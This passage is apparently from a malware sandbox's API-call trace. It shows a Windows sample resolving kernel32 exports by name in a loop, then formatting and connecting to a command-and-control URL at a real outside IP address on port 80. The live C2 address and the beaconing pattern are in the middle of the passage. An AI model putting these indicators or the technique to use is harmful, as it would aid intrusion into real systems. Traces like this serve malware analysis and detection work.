(lpString="CREATESYMBOLICLINKA") returned 19 [0083.744] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0083.744] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0083.744] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0083.744] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0083.744] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0083.744] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0083.744] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0083.744] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0083.744] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0083.744] lstrlenA (lpString="CREATETHREAD") returned 12 [0083.744] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0083.744] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0083.744] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0083.744] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0083.744] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0083.744] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0083.744] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0083.744] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0083.744] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0083.744] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0083.744] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0083.744] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0083.744] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0083.744] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0083.744] lstrcpyA (in: lpString1=0x2e7f188, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0083.745] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0083.745] wsprintfA (in: param_1=0x3000000, param_2="http://%s%s" | out: param_1="http://92.63.8.47/register/forum/abage.asp?y=8mxva3") returned 51 [0083.745] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0083.746] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3040000 [0083.746] VirtualAlloc (lpAddress=0x0, dwSize=0x23, flAllocationType=0x3000, flProtect=0x4) returned 0x3050000 [0083.747] VirtualAlloc (lpAddress=0x0, dwSize=0x2d, flAllocationType=0x3000, flProtect=0x4) returned 0x3060000 [0083.747] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.882] inet_pton (in: Family=2, pszAddrString="92.63.8.47", pAddrBuf=0x2e7f828 | out: pAddrBuf=0x2e7f828) returned 1 [0083.882] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2e7fc74 | out: lpWSAData=0x2e7fc74) returned 0 [0083.888] socket (af=2, type=1, protocol=6) returned 0x370 [0084.390] inet_addr (cp="92.63.8.47") returned 0x2f083f5c [0084.390] htons (hostshort=0x50) returned 0x5000 [0084.390] connect (s=0x370, name=0x2e7f804*(sa_family=2, sin_port=0x50, sin_addr="92.63.8.47"), namelen=16) returned 0 [0084.937] lstrlenA (lpString="kernel32.dll") returned 12 [0084.937] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0084.937] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0084.937] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0084.937] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0084.937] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0084.937] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0084.937] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0084.937] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0084.938] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0084.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0084.938] lstrlenA (lpString="ADDATOMA") returned 8 [0084.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0084.938] lstrlenA (lpString="ADDATOMW") returned 8 [0084.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0084.938] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0084.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0084.938] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0084.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0084.938] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0084.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0084.938] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0084.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0084.938] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0084.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0084.938] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0084.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0084.938] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0084.938] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0084.939] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0084.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0084.939] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0084.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0084.939] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0084.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0084.939] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0084.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0084.939] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0084.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0084.939] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0084.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0084.939] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0084.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0084.939] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0084.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0084.939] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0084.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0084.939] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0084.939] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0084.939] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0084.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0084.940] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0084.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0084.940] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0084.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0084.940] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0084.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0084.940] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0084.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0084.940] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0084.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0084.940] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0084.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0084.940] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0084.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0084.940] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0084.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0084.940] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0084.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0084.940] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0084.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0084.940] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0084.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0084.940] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0084.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0084.940] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0084.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0084.940] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0084.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0084.940] lstrlenA (lpString="BACKUPREAD") returned 10 [0084.940] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0084.940] lstrlenA (lpString="BACKUPSEEK") returned 10 [0084.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0084.941] lstrlenA (lpString="BACKUPWRITE") returned 11 [0084.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0084.941] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0084.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0084.941] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0084.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0084.941] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0084.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0084.941] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0084.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0084.941] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0084.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0084.941] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0084.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0084.941] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0084.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0084.941] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0084.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0084.941] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0084.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0084.941] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0084.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0084.941] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0084.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0084.941] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0084.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0084.941] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0084.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0084.941] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0084.941] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0084.941] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0084.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0084.942] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0084.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0084.942] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0084.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0084.942] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0084.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0084.942] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0084.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0084.942] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0084.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0084.942] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0084.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0084.942] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0084.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0084.942] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0084.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0084.942] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0084.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0084.942] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0084.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0084.942] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0084.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0084.942] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0084.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0084.942] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0084.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0084.942] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0084.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0084.942] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0084.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0084.942] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0084.942] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0084.943] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0084.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0084.943] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0084.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0084.943] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0084.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0084.943] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0084.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0084.943] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0084.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0084.943] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0084.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0084.943] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0084.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0084.943] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0084.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0084.943] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0084.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0084.943] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0084.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0084.943] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0084.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0084.943] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0084.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0084.943] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0084.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0084.943] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0084.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0084.943] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0084.943] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0084.943] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0084.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0084.944] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0084.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0084.944] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0084.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0084.944] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0084.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0084.944] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0084.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0084.944] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0084.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0084.944] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0084.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0084.944] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0084.944] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") 